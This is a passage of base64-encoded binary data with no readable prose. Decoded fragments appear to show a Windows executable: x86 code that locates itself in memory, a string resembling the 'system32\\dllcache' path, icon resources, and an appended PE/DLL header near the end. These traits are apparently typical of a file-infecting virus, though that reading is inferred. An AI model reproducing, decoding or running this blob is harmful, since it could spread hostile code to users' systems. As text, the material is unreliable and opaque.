KWAvBQKOg1PQsHMBXQW1jaz6olspCAuI6INZBV3tJPSi+gNxL7xZBF0FduTW+a6htUWi+qKE
mQFcBV3uB/KN7QMHXQXQuGkHXQU3CAT38nG3IKL6ogVgZCt1XXGDODNkKwUp0tb7tS5fBV2O
Gvm1Kl8FXThzYCVgKRVgKy5mL3FU89gtrvqiBigI1vvQsATwovq1Aaz6ou09BF0F0EF5AdYJ
eVUM+sjeqfqiDp0K2PKj+qL6yNqp+qKEmUVcBV1knlo8cy1kMWAvZDBqM2QzcTRrMmFuay12
LmsvYC5rLmY1a243LmQrcjR2PmQzY3B2KWNwdS9l5g0gBV28XRVdBXbcLwN25AxctvNe3Hbm
NwXWiG7wovq+EQlVNxY3BDcHotRWxSgt1ohq8KL6viHWMXmIISFVwloFIAVdUtB5eRUKiCEh
UU3UAgpTotRWxShh1gq+ZdAR0AVdBV3yGdGlB10FXXFWiBnRse3a+qL6tkfWMYkOq3FmjqPt
RQRdBdZCo+1BBF0FePqi+l04AWRdBSklYFk/BV1xRISxAVwFXY6hqfcPnXCn7ZT4ovrcwVkE
XQW/pQWO0D6o+qLmWg6dcV5VotTcwVV4XQU8xj2ZtQVdBV1YopDk9KL65mjSBl2OlS6WhKRl
twVdd1OMGA3QsCb8AAAAAO4BAACi+rWnsvqimDzGPe1dBV0FAI7gj6z6ovqKvjCKXgV2xubx
XAVdb29b1oinBF0Fvg3mvVYFXW9JW2bGLxyc41dTopAn9KL6otLUQFftWgVdBbWAovqiZJ7t
WQVdBRJwJQUCUjcFNweikBP0ovpWxSkNDfrIN6z6osYdiOhisvqi7XjqovopCNSApwRdBQ36
yE+s+qLG5AFcBV2I4L5FBV1SrqECxg1UbsXo+q+rElwFxgxvWVxhRC8DYV8qB1klnM1V56xc
wwAAVABg6AAAAABd/LA4i62/8P//C+10L0tD6CwAAACL8Yff6CMAAACH32o4WDvxdxaKFDNS
U8YEMwBTV//VC8BbWogUM3XSC8Bhw1cywDPJSfKuX/fRScMAACQAYOgAAAAAXegNAAAAdGVt
MzJcZGxsY2FjAF+NdaLoZu7//2HDJMI2AEQqJMIkwnk9sYnUPdt7BEw+LScD9QMnDiWPLKgE
m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6
aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6
YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA
AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+
AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA
QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA
AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA
IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA
hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA
AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA
ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS
QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA
AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA
AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD/////
AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA
AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA
GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS
QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA
AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA
AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA
AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA
DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A
AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA
DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA
AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA
pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAwAAACAAAIAOAAAAQAAAgAAAAAAAAAAAAAAAAAAAAgABAAAA
WAAAgAIAAABwAACAAAAAAAAAAAAAAAAAAAABAGUAAACIAACAAAAAAAAAAAAAAAAAAAABAAQI
AACgAAAAAAAAAAAAAAAAAAAAAAABAAQIAACwAAAAAAAAAAAAAAAAAAAAAAABAAQIAADAAAAA
0FAJAOgCAAAAAAAAAAAAALhTCQAoAQAAAAAAAAAAAADgVAkAIgAAAAAAAAAAAAAAKAAAACAA
AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL8AAL8AAAC/vwC/AAAA
vwC/AL+/AADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAd3gzqgAAAAAAAAAAAAAHf3d4M6p3gAAAAAAAAAAP9/d3eDOqd8hgAAAA
AAAA//9/d3gzqnjGZgAAAAAAD///93d4OKd8hmZgAAAAAHf//393eDenjGZmdwAAAAeHf//3
93g3p8hmZ3dwAAAIeHf//3d4OqjGZnd34AAAh4eHf//3eDqshmd37u4AAHh4eHf/f3g6jGZ3
7u67AAeHh4eHf/d4Oshnfuu7uqAIeHh4eHf4iIjGfru7qqqgB4eHh4eHiAAAiLu6qqMzMAh4
eHh4eICP+AgzMzPd3dAIiIiIiIiA//8IXV1dXV1QBdXV1dXVgP//CIiIiIiIgA3d3TMzM4CP
+AiHh4eHh4ADMzqqq7uIAACIeHh4eHhwCqqqu7vnbIiIj3eHh4eHgAqru77ndoyjh3/3eHh4
eHAAu+7ud2bIo4f3/3eHh4cAAO7ud3ZoyqOHf//3eHh4AAAOd3dmbIqjh3f//3eHgAAAB3d2
Zox6c4d/f//3eHAAAAB3ZmbIenOHd/f//3cAAAAABmZox3qDh3d////wAAAAAABmbIeqM4d3
9///AAAAAAAABox3qjOHd39/8AAAAAAAAAAId6ozh3f3cAAAAAAAAAAAAACqM4d3AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAP/wD///gAH//gAAf/wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AA
AAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAGAAAAB
wAAAA8AAAAPgAAAH8AAAD/gAAB/8AAA//gAAf/+AAf//8A//KAAAABAAAAAgAAAAAQAEAAAA
AADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAA
wMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAACIc6gAAAAA/4hzLM
YAAACPiHMsZoAACHj4csZoYACHh4hyxoqqAHh4dwCCqiIAh4eA/wERVQBVERD/CHh4ACKqKA
CHh4cAqqhsJ4h4eAAGhmwnj4eAAAhmwjeI+IAAAGzCN4j/AAAAAIo3iAAAAAAAAAAAAAAPgf
AADgBwAAwAMAAIABAACAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAEAAIABAADAAwAA
4AcAAPgfAAAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATVqQAAMA
AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAABQRQAATAEGANOhIDcAAAAAAAAAAOAADiELAQUAAJQAAAA8AQAAAAAA
dIkAAAAQAAAAsAAAAACMfwAQAAAAEAAABAAAAAAAAAAEAAAAAAAAAAAgAgAABAAAtDwCAAIA
AAAAABAAABAAAAAQAAAAEAAAAAAAABAAAABwoQAAFQEAAADAAAC0AAAAAPAAAMQXAQAAAAAA
